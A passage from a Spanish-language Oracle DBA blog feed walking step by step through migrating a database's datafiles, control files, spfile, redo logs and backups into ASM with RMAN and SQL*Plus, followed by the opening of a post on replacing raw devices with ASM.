channel ORA_DISK_1: starting datafile copy
input datafile file number=00003 name=/u01/app/oracle/oradata/orcl/undotbs01.dbf
output file name=+DAT/orcl/datafile/undotbs1.267.677909633 tag=MIGRACION_ASM RECID=5 STAMP=677909641
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:15
channel ORA_DISK_1: starting datafile copy
copying current control file
output file name=+DAT/orcl/controlfile/backup.260.677909647 tag=MIGRACION_ASM RECID=6 STAMP=677909648
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:03
channel ORA_DISK_1: starting datafile copy
input datafile file number=00004 name=/u01/app/oracle/oradata/orcl/users01.dbf
output file name=+DAT/orcl/datafile/users.263.677909651 tag=MIGRACION_ASM RECID=7 STAMP=677909651
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:01
channel ORA_DISK_1: starting incremental level 0 datafile backup set
channel ORA_DISK_1: specifying datafile(s) in backup set
including current SPFILE in backup set
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:14:12
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:14:13
piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 tag=MIGRACION_ASM comment=NONE
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
Finished backup at 04/02/2009 04:14:13&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Creamos una copia del &lt;b&gt;spfile&lt;/b&gt; en &lt;i&gt;ASM&lt;/i&gt;, para lo cual lo &lt;b&gt;restauramos&lt;/b&gt; a partir del &lt;i&gt;backup&lt;/i&gt; obtenido en el paso anterior. Recuerda que si obtenemos un &lt;i&gt;backup&lt;/i&gt; total o si en él está incluido el &lt;i&gt;tablespace&lt;/i&gt; &lt;b&gt;&lt;i&gt;system&lt;/i&gt;&lt;/b&gt;, el &lt;i&gt;spfile&lt;/i&gt; y el &lt;i&gt;control file&lt;/i&gt; son &lt;b&gt;automáticamente respaldados&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; restore spfile to "+DAT/orcl/spfileorcl.ora";

Starting restore at 04/02/2009 04:39:36
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=153 device type=DISK

channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: restoring SPFILE
output file name=+DAT/orcl/spfileorcl.ora
channel ORA_DISK_1: reading from backup piece +DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653
channel ORA_DISK_1: piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 tag=MIGRACION_ASM
channel ORA_DISK_1: restored backup piece 1
channel ORA_DISK_1: restore complete, elapsed time: 00:00:07
Finished restore at 04/02/2009 04:39:44&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt;  Bajamos la base de datos para poder hacer algunos ajustes a la configuración de la instancia.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; shutdown immediate

database closed
database dismounted
Oracle instance shut down&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4.&lt;/span&gt; Reemplazamos el &lt;i&gt;spfile.ora&lt;/i&gt; por un &lt;i&gt;init.ora&lt;/i&gt; que referencia al &lt;i&gt;spfile&lt;/i&gt; que acabamos de copiar en &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd $ORACLE_HOME/dbs
[oracle@urania dbs]$ rm spfileorcl.ora
[oracle@urania dbs]$ more initorcl.ora
SPFILE='+DAT/orcl/spfileorcl.ora'&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5.&lt;/span&gt; Levantamos la instancia solamente (&lt;b&gt;nomount&lt;/b&gt;) y hacemos ajustes a los parámetros &lt;i&gt;control_files&lt;/i&gt;, &lt;i&gt;db_create_file_dest&lt;/i&gt; y &lt;i&gt;db_recovery_file_dest&lt;/i&gt; para que ahora apunten a ubicaciones al interior de &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; startup nomount;
ORACLE instance started.

Total System Global Area &amp;nbsp;318046208 bytes
Fixed Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1313120 bytes
Variable Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 180356768 bytes
Database Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;130023424 bytes
Redo Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;6352896 bytes

SYS@orcl&amp;gt; alter system set control_files='+DAT','+FRA' scope=spfile;

System altered.

SYS@orcl&amp;gt; alter system set db_create_file_dest='+DAT';

System altered.

SYS@orcl&amp;gt; alter system set db_recovery_file_dest='+FRA';

System altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6.&lt;/span&gt; Para que estos cambios surtan efecto reiniciamos la instancia (&lt;i&gt;nomount&lt;/i&gt;).&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; startup force nomount;
ORACLE instance started.

Total System Global Area &amp;nbsp;318046208 bytes
Fixed Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1313120 bytes
Variable Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 180356768 bytes
Database Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;130023424 bytes
Redo Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;6352896 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7.&lt;/span&gt; Usamos RMAN para crear los &lt;b&gt;control files&lt;/b&gt; dentro de &lt;i&gt;ASM&lt;/i&gt; en base al existente fuera de él.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; restore controlfile from '/u01/app/oracle/oradata/orcl/control01.ctl';

Starting restore at 04/02/2009 04:45:23
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=151 device type=DISK

channel ORA_DISK_1: copied control file copy
output file name=+DAT/orcl/controlfile/current.269.677911525
output file name=+FRA/orcl/controlfile/current.265.677911527
Finished restore at 04/02/2009 04:45:28&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8.&lt;/span&gt; Ahora montamos la base de datos y procedemos a actualizar el &lt;i&gt;control file&lt;/i&gt; para que los &lt;i&gt;datafiles&lt;/i&gt; existentes en &lt;i&gt;ASM&lt;/i&gt; sean usados en lugar de los existentes fuera de él.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; alter database mount;

database mounted
released channel: ORA_DISK_1

RMAN&amp;gt; switch database to copy;

datafile 1 switched to datafile copy "+DAT/orcl/datafile/system.265.677909423"
datafile 2 switched to datafile copy "+DAT/orcl/datafile/sysaux.264.677909533"
datafile 3 switched to datafile copy "+DAT/orcl/datafile/undotbs1.267.677909633"
datafile 4 switched to datafile copy "+DAT/orcl/datafile/users.263.677909651"
datafile 5 switched to datafile copy "+DAT/orcl/datafile/example.258.677909617"&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;9.&lt;/span&gt; Como es posible que entre el momento que obtuvimos el &lt;i&gt;backup&lt;/i&gt; del paso &lt;b&gt;1&lt;/b&gt; y el momento en que hicimos el &lt;i&gt;switch&lt;/i&gt; de los &lt;i&gt;datafiles&lt;/i&gt; a &lt;i&gt;ASM&lt;/i&gt;, se haya generado &lt;i&gt;redo&lt;/i&gt;, hacemos un &lt;b&gt;recover&lt;/b&gt; para tener los &lt;i&gt;datafiles&lt;/i&gt; debidamente &lt;b&gt;actualizados&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; recover database;

Starting recover at 04/02/2009 04:46:58
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=149 device type=DISK

starting media recovery
media recovery complete, elapsed time: 00:00:04

Finished recover at 04/02/2009 04:47:05&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;10.&lt;/span&gt; Los &lt;i&gt;tempfiles&lt;/i&gt; &lt;b&gt;no&lt;/b&gt; son respaldados y por tanto &lt;b&gt;no&lt;/b&gt; son recuperables, lo que hace necesario &lt;b&gt;recrearlos manualmente&lt;/b&gt;, ubicándose en &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; run {
2&amp;gt; set newname for tempfile 1 to '+DAT';
3&amp;gt; switch tempfile all;
4&amp;gt; }

executing command: SET NEWNAME

renamed tempfile 1 to +DAT in control file&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;11.&lt;/span&gt; Si teníamos habilitado el &lt;b&gt;block change tracking&lt;/b&gt; (es una "mejor práctica" si usamos &lt;i&gt;Enterprise Edition&lt;/i&gt;), debemos deshabilitarlo temporalmente para habilitarlo nuevamente pero ahora dentro de &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; alter database disable block change tracking;

Database altered.

SYS@orcl&amp;gt; alter database enable block change tracking using file '+DAT';

Database altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;12.&lt;/span&gt; Si estamos usando &lt;b&gt;flashback logs&lt;/b&gt;, debemos proceder de forma similar al paso &lt;b&gt;11&lt;/b&gt;. Ojo que los &lt;i&gt;flashback logs&lt;/i&gt; existentes fuera de &lt;i&gt;ASM&lt;/i&gt; no pueden ser trasladados hacia &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; alter database flashback off;

Database altered.

SYS@orcl&amp;gt; alter database flashback on;

Database altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;13.&lt;/span&gt; Finalmente podemos abrir la base de datos&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; alter database open;

Database altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;14.&lt;/span&gt; Los más &lt;b&gt;observadores&lt;/b&gt; ya lo habrán notado: los &lt;b&gt;redo logs&lt;/b&gt; aún están fuera de &lt;i&gt;ASM&lt;/i&gt;, hay que crear &lt;b&gt;nuevos&lt;/b&gt; y deshacernos de los antiguos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; select a.group#, b.member, a.status
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;from v$log a, v$logfile b
&amp;nbsp;&amp;nbsp;3 &amp;nbsp;where a.group#=b.group#
&amp;nbsp;&amp;nbsp;4 &amp;nbsp;order by a.group#;

&amp;nbsp;GROUP# MEMBER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; STATUS
------- ---------------------------------------- ---------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;1 /u01/app/oracle/oradata/orcl/redo01.log &amp;nbsp;CURRENT
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;2 /u01/app/oracle/oradata/orcl/redo02.log &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;3 /u01/app/oracle/oradata/orcl/redo03.log &amp;nbsp;INACTIVE

6 rows selected.

SYS@orcl&amp;gt; alter database add logfile size 50M;

Database altered.

SYS@orcl&amp;gt; alter database add logfile size 50M;

Database altered.

SYS@orcl&amp;gt; alter database add logfile size 50M;

Database altered.

SYS@orcl&amp;gt; alter database drop logfile group 2;

Database altered.

SYS@orcl&amp;gt; alter database drop logfile group 3;

Database altered.

SYS@orcl&amp;gt; alter system switch logfile;

System altered.

SYS@orcl&amp;gt; alter system checkpoint;

System altered.

SYS@orcl&amp;gt; alter database drop logfile group 1;

Database altered.

SYS@orcl&amp;gt; select a.group#, b.member, a.status
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;from v$log a, v$logfile b
&amp;nbsp;&amp;nbsp;3 &amp;nbsp;where a.group#=b.group#
&amp;nbsp;&amp;nbsp;4 &amp;nbsp;order by a.group#;

 GROUP# MEMBER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;   STATUS
------- ------------------------------------------ ---------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;4 +DAT/orcl/onlinelog/group_4.267.680822441 &amp;nbsp;CURRENT
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;4 +FRA/orcl/onlinelog/group_4.258.680822445 &amp;nbsp;CURRENT
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;5 +DAT/orcl/onlinelog/group_5.268.680822463 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;5 +FRA/orcl/onlinelog/group_5.259.680822465 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;6 +FRA/orcl/onlinelog/group_6.260.680822473 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;6 +FRA/orcl/onlinelog/group_6.260.680822475 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;15.&lt;/span&gt; Por el lado de la base de datos ya está &lt;b&gt;todo concluido&lt;/b&gt;, la operatividad es normal y todos los archivos requeridos ya están residiendo en &lt;i&gt;ASM&lt;/i&gt;, pero opcionalmente podemos mover los &lt;i&gt;backups&lt;/i&gt; al &lt;i&gt;disk group&lt;/i&gt; &lt;b&gt;+FRA&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; run {
2&amp;gt; backup as copy archivelog all delete input;
3&amp;gt; backup backupset all delete input;
4&amp;gt; }

Starting backup at 04/02/2009 04:57:43
current log archived
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=115 device type=DISK
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=2 RECID=1 STAMP=677907178
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_2.275.677912267 RECID=5 STAMP=677912275
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:16
channel ORA_DISK_1: deleting archived log(s)
archived log file name=/u01/app/oracle/flash_recovery_area/ORCL/archivelog/2009_02_04/o1_mf_1_2_4rlnomdm_.arc RECID=1 STAMP=677907178
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=3 RECID=2 STAMP=677908766
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_3.260.677912283 RECID=6 STAMP=677912287
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:08
channel ORA_DISK_1: deleting archived log(s)
archived log file name=/u01/app/oracle/flash_recovery_area/ORCL/archivelog/2009_02_04/o1_mf_1_3_4rlp7bnl_.arc RECID=2 STAMP=677908766
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=4 RECID=3 STAMP=677912036
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_4.262.677912291 RECID=7 STAMP=677912291
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:03
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_4.257.677912033 RECID=3 STAMP=677912036
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=5 RECID=4 STAMP=677912263
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_5.257.677912295 RECID=8 STAMP=677912294
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:01
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_5.272.677912263 RECID=4 STAMP=677912263
Finished backup at 04/02/2009 04:58:15

Starting backup at 04/02/2009 04:58:19
using channel ORA_DISK_1
input backup set count=1 STAMP=677908586 creation_time=04/02/2009 03:56:26
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:58:20
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_nnnd0_BACKUP_ORCL.LOCALD_0_4rlp1wqr_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/nnndf0_0.272.677912301 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:05
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:45
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_nnnd0_BACKUP_ORCL.LOCALD_0_4rlp1wqr_.bkp RECID=1 STAMP=677908588
input backup set count=2 STAMP=677908753 creation_time=04/02/2009 03:59:13
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:06
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_ncsn0_BACKUP_ORCL.LOCALD_0_4rlp752m_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/ncsnf0_0.270.677912347 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:09
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:02
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_ncsn0_BACKUP_ORCL.LOCALD_0_4rlp752m_.bkp RECID=2 STAMP=677908757
input backup set count=3 STAMP=677908767 creation_time=04/02/2009 03:59:27
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:09
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_annnn_BACKUP_ORCL.LOCALD_0_4rlp7hsk_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/annnf0_0.256.677912351 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:17
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:07
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_annnn_BACKUP_ORCL.LOCALD_0_4rlp7hsk_.bkp RECID=3 STAMP=677908767
input backup set count=10 STAMP=677909652 creation_time=04/02/2009 04:14:12
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:17
channel ORA_DISK_1: backup piece +DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653
piece handle=+FRA/orcl/backupset/2009_02_04/nnnnf0_0.271.677912357 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:18
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
deleted backup piece
backup piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 RECID=4 STAMP=677909652
Finished backup at 04/02/2009 04:59:19&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;16.&lt;/span&gt; Con los archivos de la base de datos, los &lt;i&gt;archive logs&lt;/i&gt; y los &lt;i&gt;backups&lt;/i&gt; residiendo en &lt;i&gt;ASM&lt;/i&gt;, no hay problema en eliminar los archivos que aún quedan en los &lt;i&gt;file systems&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ rm -rf /u01/app/oracle/oradata/orcl
[oracle@urania ~]$ rm -rf /u01/app/oracle/flash_recovery_area/ORCL&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Tarea &lt;b&gt;concluída&lt;/b&gt;!, no fué tan dificil y como beneficio contamos ahora con una base de datos operando exclusivamente sobre &lt;b&gt;ASM&lt;/b&gt;. Tengan en cuenta que &lt;b&gt;no&lt;/b&gt; es necesario que todo esto se haga en el mismo momento, el &lt;i&gt;backup&lt;/i&gt; tipo copia lo pueden obtener en el momento que deseen y mientras no pierdan los &lt;i&gt;archive logs&lt;/i&gt; y/o sus &lt;b&gt;backups&lt;/b&gt;, el resto de pasos lo pueden &lt;b&gt;postergar&lt;/b&gt; para el momento más oportuno, con lo que la suspensión del servicio se &lt;b&gt;reduce&lt;/b&gt; al tiempo que tome ejecutar el procedimiento de &lt;b&gt;switch&lt;/b&gt; (paso 8) y &lt;b&gt;recover&lt;/b&gt; (paso 9), que en la práctica puede representar unos pocos minutos. En un siguiente &lt;b&gt;&lt;a href="http://enriqueorbegozo.blogspot.com/2009/03/asm-series-migrating-db-using-oem.html"&gt;Post&lt;/a&gt;&lt;/b&gt; les mostraré lo fácil que resulta hacer esta migración usando &lt;b&gt;Database Console&lt;/b&gt; y también cómo realizar un &lt;a href="http://enriqueorbegozo.blogspot.com/2009/04/asm-series-upgrade-register-oem.html"&gt;&lt;i&gt;upgrade&lt;/i&gt; a &lt;i&gt;ASM&lt;/i&gt;&lt;/a&gt;, hasta la próxima...&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/filesystemiooptions-asynch-directio.html"&gt;¿Cómo acelerar el acceso a los file systems?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-1293701148013846107</guid><pubDate>Thu, 05 Feb 2009 20:09:00 +0000</pubDate><atom:updated>2012-04-01T02:07:37.756-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ASM</category><title>Bye bye raw device, ¡bienvenido ASM!</title><description>&lt;div&gt;Durante décadas se han venido usando &lt;b&gt;&lt;i&gt;raw devices&lt;/i&gt;&lt;/b&gt; en un intento de obtener el mejor desempeño posible para las bases de datos &lt;i&gt;Oracle&lt;/i&gt;. La alternativa eran los &lt;b&gt;&lt;i&gt;file systems&lt;/i&gt;&lt;/b&gt; que si bien eran fáciles de administrar, tenían un desempeño que dejaba mucho que desear. Con el transcurrir de los años los fabricantes han venido mejorando los &lt;i&gt;file systems&lt;/i&gt;, agregándoles &lt;b&gt;&lt;i&gt;direct I/O&lt;/i&gt;&lt;/b&gt; y &lt;b&gt;&lt;i&gt;concurrent I/O&lt;/i&gt;&lt;/b&gt; por ejemplo, al punto que los han hecho casi tan eficientes como los &lt;i&gt;raw devices&lt;/i&gt;. Por su parte &lt;i&gt;Oracle&lt;/i&gt; dio la sorpresa cuando anunció la aparición de &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt;&lt;/b&gt;, ofreciendo el alto desempeño de los &lt;i&gt;raw devices&lt;/i&gt; con la facilidad de administración de los &lt;i&gt;file systems&lt;/i&gt;, amén de muchas otras adiciones que lo hacen único y deseable.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;El 2008 recibimos la noticia, mediante el hoy desaparecido &lt;b&gt;Note 578455.1&lt;/b&gt;, que a partir de &lt;b&gt;Oracle 12g&lt;/b&gt; los &lt;i&gt;raw devices&lt;/i&gt; ya no serán soportados y más recientemente, con el &lt;b&gt;Note 754305.1&lt;/b&gt;, se nos indica que con &lt;b&gt;Oracle 11gR2&lt;/b&gt; ya no se ofrecerán los &lt;i&gt;raw devices&lt;/i&gt; desde &lt;b&gt;DBCA/OUI&lt;/b&gt;, por lo que tendremos que recurrir a la línea de comandos si queremos crear una base de datos que los emplee. Debemos entonces ir pensando en abandonar los &lt;i&gt;raw devices&lt;/i&gt; pero, ¿qué usar en su reemplazo? En &lt;b&gt;mi opinión&lt;/b&gt; la &lt;b&gt;mejor&lt;/b&gt; alternativa es &lt;b&gt;ASM&lt;/b&gt; y por ello empiezo hoy esta serie de Posts; en este primero les mostraré la &lt;b&gt;instalación&lt;/b&gt; del software requerido, las &lt;b&gt;configuraciones&lt;/b&gt; necesarias y la &lt;b&gt;creación&lt;/b&gt; de una instancia &lt;i&gt;ASM&lt;/i&gt;, en un &lt;a href="http://enriqueorbegozo.blogspot.com/2009/03/asm-series-migrating-db.html"&gt;siguiente Post&lt;/a&gt; les mostraré cómo &lt;b&gt;trasladar&lt;/b&gt; manualmente la base de datos hacia &lt;i&gt;ASM&lt;/i&gt; y en un último Post les mostraré cómo hacer lo mismo con &lt;b&gt;Database Console&lt;/b&gt; así como el procedimiento a seguir para hacer &lt;b&gt;upgrade&lt;/b&gt; a &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Estaré usando una máquina virtual en &lt;b&gt;VMWare&lt;/b&gt;, que ejecuta &lt;b&gt;RHEL 5.2&lt;/b&gt; de 32 bits y cuenta con &lt;b&gt;6&lt;/b&gt; discos virtuales de &lt;b&gt;1GB&lt;/b&gt; cada uno, los cuales serán gestionados por &lt;b&gt;ASM&lt;/b&gt;. Si bien voy a emplear &lt;b&gt;Oracle 11.1.0.7&lt;/b&gt;, los pasos han sido debidamente &lt;b&gt;probados&lt;/b&gt; con &lt;b&gt;Oracle 10.2.0.1&lt;/b&gt; y &lt;b&gt;10.2.0.4&lt;/b&gt; por lo que no debe haber problemas si siguen estos pasos con versiones &lt;b&gt;10.2.0.1 o superiores&lt;/b&gt;. Veamos entonces la secuencia de pasos a seguir para contar con una instancia &lt;i&gt;ASM&lt;/i&gt; &lt;b&gt;operativa&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. Particionando los discos.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Se requiere que los discos estén debidamente &lt;b&gt;particionados&lt;/b&gt; para que puedan ser usados, para ello haremos uso del utilitario &lt;b&gt;fdisk&lt;/b&gt;. Primero veamos los nombres de los dispositivos:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;root@urania ~]# ls /dev/sd*
